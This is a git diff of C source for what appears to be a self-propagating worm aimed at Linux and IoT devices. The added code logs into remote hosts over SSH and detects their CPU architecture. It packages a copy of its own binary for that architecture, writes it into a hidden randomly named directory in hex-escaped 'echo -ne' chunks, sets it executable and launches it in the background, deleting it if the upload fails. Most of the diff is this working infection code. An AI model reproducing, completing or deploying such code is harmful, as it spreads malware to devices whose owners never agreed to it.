- s_ctx->ib.len,
- BNE_CMD_TERMINATOR,
- strlen(BNE_CMD_TERMINATOR));
- if (cterm != NULL) {
- break;
+ if (ep.err != 0) {
+ ctx->result.err = ep.err;
+ goto END;
}
- }
- if (e_data == 0) {
- ctx->result.err = ENOEXEC;
- goto END;
- }
- if (e_machine == EM_ARM) {
- bool seen_v7 = false, seen_vfp = false, seen_thumb = false;
+ if (ep.e_machine == EM_ARM) {
+ // read /proc/cpuinfo
+ bne_sh_cpuinfo_parse_ctx_t cpc;
- // read /proc/cpuinfo
- strcpy(s_ctx->line, "cat /proc/cpuinfo;"BNE_TERM_CMD);
- len = strlen(s_ctx->line);
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
- f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev);
- if (f_ret != (ssize_t)len) {
- goto END;
- }
+ prne_memzero(&cpc, sizeof(bne_sh_cpuinfo_parse_ctx_t));
+ bne_free_sh_parser(&parser);
+ bne_init_sh_parser(&parser);
+ parser.ctx = &cpc;
+ parser.line_f = bne_sh_cpuinfo_parse_f;
- cterm = NULL;
- prne_iobuf_reset(&s_ctx->ib);
- do {
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
- f_ret = s_ctx->read_f(
- s_ctx->ctx,
- s_ctx->ib.m + s_ctx->ib.len,
- s_ctx->ib.avail,
- ev);
- if (f_ret <= 0) {
+ if (!bne_sh_runcmd_line(s_ctx, &parser, "cat /proc/cpuinfo")) {
+ ctx->result.err = errno;
goto END;
}
- prne_iobuf_shift(&s_ctx->ib, f_ret);
-
- while (true) {
- lf = prne_strnchr((char*)s_ctx->ib.m, '\n', s_ctx->ib.len);
- if (lf == NULL) {
- break;
- }
- *lf = 0;
- prne_transstr((char*)s_ctx->ib.m, tolower);
-
- if (ctx->result.arch == PRNE_ARCH_NONE) {
- if (strstr((char*)s_ctx->ib.m, "processor") ==
- (char*)s_ctx->ib.m ||
- strstr((char*)s_ctx->ib.m, "model name") ==
- (char*)s_ctx->ib.m)
- {
- if (strstr((char*)s_ctx->ib.m, "v7") != NULL) {
- seen_v7 = true;
- }
- }
- else if (strstr((char*)s_ctx->ib.m, "features") ==
- (char*)s_ctx->ib.m)
- {
- if (strstr((char*)s_ctx->ib.m, "vfp") != NULL) {
- seen_vfp = true;
- }
- if (strstr((char*)s_ctx->ib.m, "thumb") != NULL) {
- seen_thumb = true;
- }
- }
- }
- prne_iobuf_shift(&s_ctx->ib, -(lf - (char*)s_ctx->ib.m + 1));
+ if (cpc.v7 && cpc.vfp && cpc.thumb) {
+ ctx->result.arch = PRNE_ARCH_ARMV7;
+ }
+ else {
+ ctx->result.arch = PRNE_ARCH_ARMV4T;
}
-
- cterm = prne_strnstr(
- (char*)s_ctx->ib.m,
- s_ctx->ib.len,
- BNE_CMD_TERMINATOR,
- strlen(BNE_CMD_TERMINATOR));
- } while (s_ctx->ib.avail > 0 && cterm == NULL);
-
- if (seen_v7 && seen_vfp && seen_thumb) {
- ctx->result.arch = PRNE_ARCH_ARMV7;
}
else {
- ctx->result.arch = PRNE_ARCH_ARMV4T;
- }
- }
- else {
- switch (e_data) {
- case ELFDATA2LSB:
- switch (e_machine) {
- case EM_386: ctx->result.arch = PRNE_ARCH_I686; break;
- case EM_X86_64: ctx->result.arch = PRNE_ARCH_X86_64; break;
- case EM_AARCH64: ctx->result.arch = PRNE_ARCH_AARCH64; break;
- case EM_MIPS: ctx->result.arch = PRNE_ARCH_MPSL; break;
- case EM_SH: ctx->result.arch = PRNE_ARCH_SH4; break;
- case EM_ARC: ctx->result.arch = PRNE_ARCH_ARC; break;
- }
- break;
- case ELFDATA2MSB:
- switch (e_machine) {
- case EM_MIPS: ctx->result.arch = PRNE_ARCH_MIPS; break;
- case EM_PPC: ctx->result.arch = PRNE_ARCH_PPC; break;
- case EM_68K: ctx->result.arch = PRNE_ARCH_M68K; break;
- case EM_ARC: ctx->result.arch = PRNE_ARCH_ARCEB; break;
+ switch (ep.e_data) {
+ case ELFDATA2LSB:
+ switch (ep.e_machine) {
+ case EM_386: ctx->result.arch = PRNE_ARCH_I686; break;
+ case EM_X86_64: ctx->result.arch = PRNE_ARCH_X86_64; break;
+ case EM_AARCH64: ctx->result.arch = PRNE_ARCH_AARCH64; break;
+ case EM_MIPS: ctx->result.arch = PRNE_ARCH_MPSL; break;
+ case EM_SH: ctx->result.arch = PRNE_ARCH_SH4; break;
+ case EM_ARC: ctx->result.arch = PRNE_ARCH_ARC; break;
+ }
+ break;
+ case ELFDATA2MSB:
+ switch (ep.e_machine) {
+ case EM_MIPS: ctx->result.arch = PRNE_ARCH_MIPS; break;
+ case EM_PPC: ctx->result.arch = PRNE_ARCH_PPC; break;
+ case EM_68K: ctx->result.arch = PRNE_ARCH_M68K; break;
+ case EM_ARC: ctx->result.arch = PRNE_ARCH_ARCEB; break;
+ }
+ break;
}
- break;
}
}
ret = ctx->result.arch != PRNE_ARCH_NONE;
END: // CATCH
+ bne_free_sh_parser(&parser);
for (size_t i = 0; i < mp_cnt; i += 1) {
prne_free(mp_arr[i].path);
}
@@ -989,12 +1076,73 @@ END: // CATCH
return ret;
}
+static bool bne_sh_start_rcb (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) {
+ ctx->result.prc = prne_start_bin_rcb(
+ &sh_ctx->rcb,
+ ctx->result.arch,
+ ctx->param.rcb.self,
+ ctx->param.rcb.m_self,
+ ctx->param.rcb.self_len,
+ ctx->param.rcb.exec_len,
+ ctx->param.rcb.m_dv,
+ ctx->param.rcb.dv_len,
+ ctx->param.rcb.ba);
+
+ if (ctx->result.prc == PRNE_PACK_RC_NO_ARCH) {
+ // retry with compatible arch if available
+ switch (ctx->result.arch) {
+ case PRNE_ARCH_AARCH64:
+ case PRNE_ARCH_ARMV7:
+ ctx->result.arch = PRNE_ARCH_ARMV4T;
+ break;
+ case PRNE_ARCH_X86_64:
+ ctx->result.arch = PRNE_ARCH_I686;
+ break;
+ default: return false;
+ }
+ ctx->result.prc = prne_start_bin_rcb(
+ &sh_ctx->rcb,
+ ctx->result.arch,
+ ctx->param.rcb.self,
+ ctx->param.rcb.m_self,
+ ctx->param.rcb.self_len,
+ ctx->param.rcb.exec_len,
+ ctx->param.rcb.m_dv,
+ ctx->param.rcb.dv_len,
+ ctx->param.rcb.ba);
+ }
+
+ return ctx->result.prc == PRNE_PACK_RC_OK;
+}
+
/*
-* mkdir "$(dir)/.prne" &&
-* cd "$(dir)/.prne" &&
-* touch "$exec_name" &&
-* chmod "$mode" "$exec_name"
+* When upload fails
*/
+static bool bne_sh_cleanup_upload (
+ prne_bne_t *ctx,
+ bne_sh_ctx_t *s_ctx)
+{
+ bool ret = false;
+ char *cmd = NULL;
+ const char *sb[] = {
+ "rm -rf \"", s_ctx->upload_dir, "\"\n"
+ };
+
+ if (s_ctx->upload_dir == NULL) {
+ return true;
+ }
+
+ cmd = prne_build_str(sb, sizeof(sb)/sizeof(const char*));
+ if (cmd == NULL) {
+ return false;
+ }
+
+ ret = bne_sh_send(s_ctx, cmd);
+ prne_free(cmd);
+
+ return bne_sh_sync(s_ctx) && ret;
+}
+
static bool bne_sh_prep_upload (
prne_bne_t *ctx,
bne_sh_ctx_t *s_ctx,
@@ -1002,34 +1150,143 @@ static bool bne_sh_prep_upload (
const char *exec_name,
const char *mode)
{
- // TODO
- return false;
-}
+ bool ret = false;
+ uint8_t uuid[16];
+ char uuid_str[37];
+ char *cmd = NULL;
+ const char *sb_ud[] = { dir, "/.", uuid_str };
+ int ec = -1;
+ bne_sh_parser_t parser;
-/*
-* When upload fails
-* rm -rf "$(dir)/.prne"
-*/
-static bool bne_sh_cleanup_upload (
- prne_bne_t *ctx,
- bne_sh_ctx_t *s_ctx,
- const char *dir)
-{
- // TODO
- return false;
+ bne_init_sh_parser(&parser);
+ parser.ctx = &ec;
+ parser.line_f = bne_sh_int_parse_f;
+
+ if (!prne_rnd(&ctx->rnd, uuid, 16)) {
+ memset(uuid, 0xAF, 16);
+ }
+ prne_uuid_tostr(uuid, uuid_str);
+
+//TRY
+ if (!bne_sh_cleanup_upload(ctx, s_ctx)) {
+ goto END;
+ }
+ if (!bne_sh_start_rcb(ctx, s_ctx)) {
+ goto END;
+ }
+
+ s_ctx->upload_dir = prne_build_str(
+ sb_ud,
+ sizeof(sb_ud)/sizeof(const char **));
+ if (s_ctx->upload_dir == NULL) {
+ goto END;
+ }
+ else {
+ const char *sb_cmd[] = {
+ "mkdir \"", s_ctx->upload_dir, "\" && "
+ "cd \"", s_ctx->upload_dir, "\" && "
+ "echo -n > \"", exec_name, "\" && "
+ "chmod ", mode, " \"", exec_name, "\"; "
+ "echo $?"
+ };
+
+ cmd = prne_build_str(
+ sb_cmd,
+ sizeof(sb_cmd)/sizeof(const char **));
+ if (cmd == NULL) {
+ goto END;
+ }
+ }
+
+ if (!bne_sh_runcmd_line(s_ctx, &parser, cmd)) {
+ goto END;
+ }
+ ret = ec == 0;
+
+END:
+ prne_free(cmd);
+ bne_free_sh_parser(&parser);
+ return bne_sh_sync(s_ctx) && ret;
}
-/*
-* - echo -ne > "$exec"
-* - echo -ne "binary" >> "$exec"
-*/
static bool bne_sh_upload_echo (
prne_bne_t *ctx,
bne_sh_ctx_t *s_ctx,
const char *exec)
{
- // TODO
- return false;
+ static const char BASE_CMD[] = "echo -ne ";
+ char *const cmd_buf = (char*)s_ctx->buf;
+ char *cmd_p;
+ // Busybox ash line buffer size is 1024
+ uint8_t *const bin_buf = s_ctx->buf + 1025;
+ uint8_t *bin_p;
+ ssize_t f_ret;
+ int poll_ret = 0;
+ bool ret = true;
+ const size_t exec_len = strlen(exec);
+
+ if (exec_len > 255) {
+ ctx->result.err = E2BIG;
+ return false;
+ }
+
+ _Static_assert(sizeof(s_ctx->buf) >= 2048, "FIXME");
+ strcpy(cmd_buf, BASE_CMD);
+
+ while (ctx->result.prc != PRNE_PACK_RC_EOF) {
+ f_ret = prne_bin_rcb_read(
+ &s_ctx->rcb,
+ bin_buf,
+ 150, // 5 * 202 = 750 characters. the rest characters for file name
+ &ctx->result.prc,
+ &ctx->result.err);
+ if (f_ret < 0) {
+ break;
+ }
+
+ if (f_ret > 0) {
+ bin_p = bin_buf;
+ cmd_p = cmd_buf + strlen(BASE_CMD);
+ for (size_t i = 0; i < (size_t)f_ret; i += 1) {
+ cmd_p[0] = '\\';
+ cmd_p[1] = '\\';
+ cmd_p[2] = 'x';
+ prne_hex_tochar(*bin_p, cmd_p + 3, true);
+ cmd_p += 5;
+ bin_p += 1;
+ }
+ cmd_p[0] = ' ';
+ cmd_p[1] = '>';
+ cmd_p[2] = '>';
+ cmd_p[3] = ' ';
+ cmd_p += 4;
+ memcpy(cmd_p, exec, exec_len);
+ cmd_p += exec_len;
+ cmd_p[0] = '\n';
+ cmd_p[1] = 0;
+
+ if (!bne_sh_send(s_ctx, cmd_buf)) {
+ ret = false;
+ break;
+ }
+
+ // Assume that something went wrong if there's any output at all
+ poll_ret = s_ctx->pollin_f(s_ctx->ctx);
+ if (poll_ret != 0) {
+ ret = false;
+ break;
+ }
+ }
+ else {
+ pth_yield(NULL);
+ }
+ }
+
+ if (poll_ret > 0) {
+ bne_sh_sync(s_ctx);
+ }
+
+ return ret;
}
/*
@@ -1040,8 +1297,23 @@ static bool bne_sh_run_exec (
bne_sh_ctx_t *s_ctx,
const char *exec)
{
- // TODO
- return false;
+ const char *sb_cmd[] = { "./", exec, " & " };
+ char *cmd;
+ bne_sh_parser_t parser;
+ bool ret;
+
+ bne_init_sh_parser(&parser);
+
+ cmd = prne_build_str(sb_cmd, sizeof(sb_cmd)/sizeof(const char*));
+ if (cmd == NULL) {
+ ctx->result.err = errno;
+ return false;
+ }
+
+ ret = bne_sh_runcmd_line(s_ctx, &parser, cmd);
+
+ prne_free(cmd);
+ return ret;
}
static bool bne_do_shell (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) {
@@ -1051,9 +1323,6 @@ static bool bne_do_shell (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) {
bne_avail_cmds_t avail_cmd, cur_cmd;
bool (*upload_f)(prne_bne_t *ctx, bne_sh_ctx_t *s_ctx, const char *exec);
char *exec_name = NULL;
- prne_bin_rcb_ctx_t rcb;
-
- prne_init_bin_rcb_ctx(&rcb);
// TRY
exec_name = ctx->param.cb.exec_name();
@@ -1066,43 +1335,6 @@ static bool bne_do_shell (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) {
goto END;
}
- ctx->result.prc = prne_start_bin_rcb(
- &rcb,
- ctx->result.arch,
- ctx->param.rcb.self,
- ctx->param.rcb.m_self,
- ctx->param.rcb.self_len,
- ctx->param.rcb.exec_len,
- ctx->param.rcb.m_dv,
- ctx->param.rcb.dv_len,
- ctx->param.rcb.ba);
- if (ctx->result.prc == PRNE_PACK_RC_NO_ARCH) {
- // retry with compatible arch if available
- switch (ctx->result.arch) {
- case PRNE_ARCH_AARCH64:
- case PRNE_ARCH_ARMV7:
- ctx->result.arch = PRNE_ARCH_ARMV4T;
- break;
- case PRNE_ARCH_X86_64:
- ctx->result.arch = PRNE_ARCH_I686;
- break;
- default: goto END;
- }
- ctx->result.prc = prne_start_bin_rcb(
- &rcb,
- ctx->result.arch,
- ctx->param.rcb.self,
- ctx->param.rcb.m_self,
- ctx->param.rcb.self_len,
- ctx->param.rcb.exec_len,
- ctx->param.rcb.m_dv,
- ctx->param.rcb.dv_len,
- ctx->param.rcb.ba);
- }
- if (ctx->result.prc != PRNE_PACK_RC_OK) {
- goto END;
- }
-
for (prne_llist_entry_t *ent = sh_ctx->up_loc.head;
ent != NULL;
ent = ent->next)
@@ -1132,20 +1364,24 @@ START_UPLOAD:
exec_name,
"700");
if (ret) {
- ret = upload_f(ctx, sh_ctx, exec_name);
+ ret =
+ upload_f(ctx, sh_ctx, exec_name) &&
+ bne_sh_run_exec(ctx, sh_ctx, exec_name);
+
if (ret) {
- ret = bne_sh_run_exec(ctx, sh_ctx, exec_name);
- if (ret) {
- goto END;
- }
+ goto END;
+ }
+ if (!bne_sh_cleanup_upload(ctx, sh_ctx)) {
+ goto END;
}
- bne_sh_cleanup_upload(ctx, sh_ctx, mp);
+ }
+ else {
+ goto END;
}
}
}
END: // CATCH
- prne_free_bin_rcb_ctx(&rcb);
prne_free(exec_name);
return ret;
@@ -1166,7 +1402,7 @@ static void bne_vssh_discon (
return;
}
- bne_reset_timer(&ev, to);
+ prne_pth_reset_timer(&ev, to);
prne_lssh2_discon(vs->ss, vs->fd, reason, desc, "", ev);
pth_event_free(ev, FALSE);
}
@@ -1198,7 +1434,7 @@ static bool bne_vssh_est_sshconn (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
return true;
}
- bne_reset_timer(&ev, &BNE_CONN_OP_TIMEOUT);
+ prne_pth_reset_timer(&ev, &BNE_CONN_OP_TIMEOUT);
while (vs->ports.size > 0 && pth_event_status(ev) != PTH_STATUS_OCCURRED) {
bne_port_t *p = (bne_port_t*)vs->ports.head->element;
@@ -1317,7 +1553,7 @@ static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
}
}
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ prne_pth_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
if (vs->auth_list == NULL) {
const char *tmp = prne_lssh2_ua_list(
vs->ss,
@@ -1525,23 +1761,60 @@ static ssize_t bne_vssh_write_f (
pth_event_t ev)
{
bne_vssh_ctx_t *ctx = (bne_vssh_ctx_t*)ctx_p;
- return prne_lssh2_ch_write(
- ctx->ss,
- ctx->ch_shell,
- ctx->fd,
- buf_p,
- buf_size,
- ev);
+ int f_ret;
+ size_t rem = buf_size;
+
+ while (rem > 0) {
+ f_ret = prne_lssh2_ch_write(
+ ctx->ss,
+ ctx->ch_shell,
+ ctx->fd,
+ buf_p,
+ rem,
+ ev);
+ if (f_ret < 0) {
+ return f_ret;
+ }
+
+ rem -= f_ret;
+ buf_p = (const uint8_t*)buf_p + f_ret;
+ }
+
+ return buf_size;
+}
+
+static int bne_vssh_pollin_f (void *ctx_p) {
+ bne_vssh_ctx_t *ctx = (bne_vssh_ctx_t*)ctx_p;
+ ssize_t f_ret;
+
+ f_ret = libssh2_channel_read_stderr(ctx->ch_shell, NULL, 0);
+ if (f_ret == 0) {
+ return 1;
+ }
+ else if (f_ret < 0 && f_ret != LIBSSH2_ERROR_EAGAIN) {
+ return -1;
+ }
+
+ f_ret = libssh2_channel_read(ctx->ch_shell, NULL, 0);
+ if (f_ret == 0) {
+ return 1;
+ }
+ else if (f_ret < 0 && f_ret != LIBSSH2_ERROR_EAGAIN) {
+ return -1;
+ }
+
+ return 0;
}
static bool bne_vssh_do_shell (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
bne_sh_ctx_t sh_ctx;
bool ret;
- bne_init_sh_ctx(&sh_ctx);
+ bne_init_sh_ctx(&sh_ctx, &ctx->rnd);
sh_ctx.ctx = vs;
sh_ctx.read_f = bne_vssh_read_f;
sh_ctx.write_f = bne_vssh_write_f;
+ sh_ctx.pollin_f = bne_vssh_pollin_f;
// TODO: try exec cat command on a separate channel, write() binary directly
ret = bne_do_shell(ctx, &sh_ctx);
@@ -1596,7 +1869,7 @@ static bool bne_do_vec_ssh (prne_bne_t *ctx) {
if (ret) {
pth_event_t ev = NULL;
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ prne_pth_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
// close the channel and wait for the remote end to do the same
// this ensures that the issued commands are completed
prne_lssh2_close_ch(
diff --git a/src/pth.c b/src/pth.c
index 2294c90..7186a53 100644
--- a/src/pth.c
+++ b/src/pth.c
@@ -78,3 +78,13 @@ void prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast) {
pth_time_t prne_pth_tstimeout (const struct timespec ts) {
return pth_timeout(ts.tv_sec, ts.tv_nsec / 1000);
}
+
+void prne_pth_reset_timer (pth_event_t *ev, const struct timespec *ts) {
+ pth_event_free(*ev, FALSE);
+ if (ts != NULL) {
+ *ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(*ts));
+ prne_assert(*ev != NULL);
+ }
+}
diff --git a/src/pth.h b/src/pth.h
index 0ede191..b748543 100644
--- a/src/pth.h
+++ b/src/pth.h
@@ -38,3 +38,4 @@ int prne_pth_poll (
pth_event_t ev);
void prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast);
pth_time_t prne_pth_tstimeout (const struct timespec ts);
+void prne_pth_reset_timer (pth_event_t *ev, const struct timespec *ts);
diff --git a/src/util_rt.c b/src/util_rt.c
index d3aa132..11fb9f0 100644
--- a/src/util_rt.c
+++ b/src/util_rt.c
@@ -242,6 +242,33 @@ char *prne_strnstr (
return NULL;
}
+char *prne_build_str (
+ const char **const arr,
+ const size_t cnt)
+{
+ char *ret, *p;
+ size_t len;
+
+ len = 0;
+ for (size_t i = 0; i < cnt; i += 1) {
+ len += prne_nstrlen(arr[i]);
+ }
+ ret = prne_alloc_str(len);
+ if (ret == NULL) {
+ return NULL;
+ }
+
+ p = ret;
+ for (size_t i = 0; i < cnt; i += 1) {
+ len = prne_nstrlen(arr[i]);
+ memcpy(p, arr[i], len);
+ p += len;
+ }
+ *p = 0;
+
+ return ret;
+}
+
bool prne_hex_fromstr (const char *str, uint_fast8_t *out) {
static const uint_fast8_t shift[2] = { 4, 0 };
size_t i;
diff --git a/src/util_rt.h b/src/util_rt.h
index 726cf98..c2d81be 100644
--- a/src/util_rt.h
+++ b/src/util_rt.h
@@ -48,6 +48,7 @@ char *prne_strnstr (
size_t hs_len,
const char *const needle,
const size_t n_len);
+char *prne_build_str (const char **const arr, const size_t cnt);
bool prne_hex_fromstr (const char *str, uint_fast8_t *out);
void prne_hex_tochar (const uint_fast8_t in, char *out, const bool upper);